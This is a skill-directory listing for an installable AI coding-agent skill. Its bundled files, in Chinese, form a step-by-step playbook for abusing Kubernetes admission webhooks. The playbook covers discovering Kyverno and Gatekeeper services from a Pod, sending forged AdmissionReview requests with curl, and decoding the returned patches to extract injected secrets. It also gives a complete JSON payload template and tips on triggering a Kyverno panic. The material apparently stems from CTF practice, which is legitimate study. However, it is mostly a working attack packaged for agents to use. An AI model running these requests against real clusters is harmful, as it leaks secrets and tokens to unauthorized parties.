
K8s Webhook Abuse
- 24 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
k8s-webhook-abuse is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- k8s-webhook-abuse
- AI & Agent Building
- AI-coding skill
K8s Webhook Abuse by the numbers
- 24 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,912 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill k8s-webhook-abuseAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 24 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
Kubernetes Admission Webhook 滥用
K8s 的 Admission Webhook 是集群安全的守门人,负责在资源创建/修改时执行策略(注入 Secret、环境变量等)。问题在于:很多 Webhook 不验证请求是否来自 API Server。这意味着攻击者可以从任意 Pod 直接向 Webhook 发送伪造的 AdmissionReview 请求,骗取本应注入到特权 Pod 中的 Secret。
正常流程:
kubectl create pod → API Server → Mutating Webhook → (注入 secret) → 存储
攻击流程:
攻击者 Pod → 直接 POST 到 Webhook → Webhook 返回 patch(含 secret)---
Phase 1: 发现 Webhook 服务
# DNS 扫描发现策略引擎
k8spider scan -subnet <service-cidr>
# 常见的 Webhook 服务名
# Kyverno:
# kyverno-svc.kyverno.svc.cluster.local (443)
# kyverno-cleanup-controller.kyverno.svc.cluster.local
# OPA Gatekeeper:
# gatekeeper-webhook-service.gatekeeper-system.svc.cluster.local
# 自定义:
# *-webhook-service.*
# 检测 Webhook 端点
curl -k https://kyverno-svc.kyverno.svc.cluster.local/mutate
# GET 请求返回 "only POST/OPTIONS supported" → 说明服务可达且未验证来源---
Phase 2: 构造 AdmissionReview 请求
构造一个假的 Pod 创建请求发给 Webhook,骗它返回 mutation patch。
完整 JSON payload 模板见 → references/admission-review-template.md
关键字段说明:
namespace— 必须匹配策略的 match 条件(如sensitive-ns),否则 Webhook 不会触发 mutationkind/requestKind— 必须填写,缺失会导致 Kyverno panicoperation— 通常用CREATEobject.spec.containers— 至少包含一个容器定义
发送请求
# 保存 JSON(从 references/admission-review-template.md 获取完整模板)
cat > /tmp/admission.json << 'EOF'
... 完整 JSON ...
EOF
# 发送到 Kyverno mutate 端点
curl -k -X POST \
-H "Content-Type: application/json" \
-d @/tmp/admission.json \
https://kyverno-svc.kyverno.svc.cluster.local/mutate
# 注意事项(踩坑经验):
# - 必须 HTTPS + -k(自签证书)
# - 必须 Content-Type: application/json
# - 不要加 --http1.1(Kyverno 需要 HTTP/2,否则 stream 断开)
# - namespace 必须匹配策略的 match 条件---
Phase 3: 解析返回的 Patch
响应中的 response.patch 是 Base64 编码的 JSONPatch:
# 从响应中提取 patch
echo '<patch-base64>' | base64 -d | jq .
# 输出示例:
# [{"op":"add","path":"/spec/containers/0/env","value":[{"name":"FLAG","value":"wiz_k8s_lan_party{...}"}]}]---
Phase 4: 其他 Webhook 攻击
OPA Gatekeeper
端点和请求格式见 → references/admission-review-template.md
Kyverno 空指针 Panic(确认可利用性)
发送缺少 requestKind/requestResource 的不完整 AdmissionReview,Kyverno 会 panic(空指针解引用)。这虽然不直接有用,但能确认 Webhook 不验证调用方身份。
---
常见策略引擎端点
| 引擎 | 端点 | 端口 | 类型 |
|---|---|---|---|
| Kyverno | /mutate, /validate | 443 | Mutating + Validating |
| OPA Gatekeeper | /v1/admit | 443 | Validating |
| 自定义 | /mutate, /validate, /webhook | 443/8443 | 取决于实现 |
---
关键要点
- Webhook 不验证来源 = 任何 Pod 都能伪造请求
- Mutating Webhook 的返回 patch 可能包含注入的 Secret/Flag/Token
namespace字段必须匹配策略的 match 条件才能触发 mutationrequestKind和requestResource字段不能为空(否则 Kyverno 会 panic)- 使用 HTTP/2(不要
--http1.1),且必须带Content-Type: application/json
AdmissionReview 请求模板
最小可用模板(Kyverno)
将以下 JSON 保存为 /tmp/admission.json 后发送:
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "test-uid-12345",
"name": "test-pod",
"namespace": "sensitive-ns",
"kind": {
"group": "",
"version": "v1",
"kind": "Pod"
},
"requestKind": {
"group": "",
"version": "v1",
"kind": "Pod"
},
"resource": {
"group": "",
"version": "v1",
"resource": "pods"
},
"requestResource": {
"group": "",
"version": "v1",
"resource": "pods"
},
"operation": "CREATE",
"object": {
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "test-pod",
"namespace": "sensitive-ns"
},
"spec": {
"containers": [{
"name": "test",
"image": "nginx"
}]
}
},
"oldObject": null,
"options": null
}
}字段说明
| 字段 | 必须 | 说明 |
|---|---|---|
namespace | ✅ | 必须匹配 Kyverno Policy 的 match.resources.namespaces,否则不触发 mutation |
kind | ✅ | 必须填写,缺失导致 Kyverno panic(空指针解引用) |
requestKind | ✅ | 同上,也必须填写 |
resource / requestResource | ✅ | 同上 |
operation | ✅ | 通常为 CREATE;UPDATE 也可以但需要 oldObject |
uid | ✅ | 任意唯一字符串 |
object.kind | ✅ | 必须为 Pod(与外层 kind 一致) |
object.spec.containers | ✅ | 至少一个容器定义,Kyverno 的 mutate 规则通常以 name: "*" 匹配所有容器 |
Kyverno 常见坑
1. 不要用 `--http1.1` — Kyverno 的 Go HTTP/2 server 会断开 HTTP/1.1 连接 2. 必须有 `-H "Content-Type: application/json"` — 否则返回 invalid content-type 3. 必须有 `-k` — Webhook 使用自签名证书 4. namespace 要对 — 策略的 match 条件决定了哪些 namespace 的请求会触发 mutation
OPA Gatekeeper 模板
Gatekeeper 使用 Validating Webhook,同样的 AdmissionReview 格式,但端点不同:
curl -k -X POST \
-H "Content-Type: application/json" \
-d @/tmp/admission.json \
https://gatekeeper-webhook-service.gatekeeper-system.svc.cluster.local/v1/admitGatekeeper 的响应中虽然不会注入 Secret,但可能泄露策略规则细节(告诉你哪些操作被禁止)。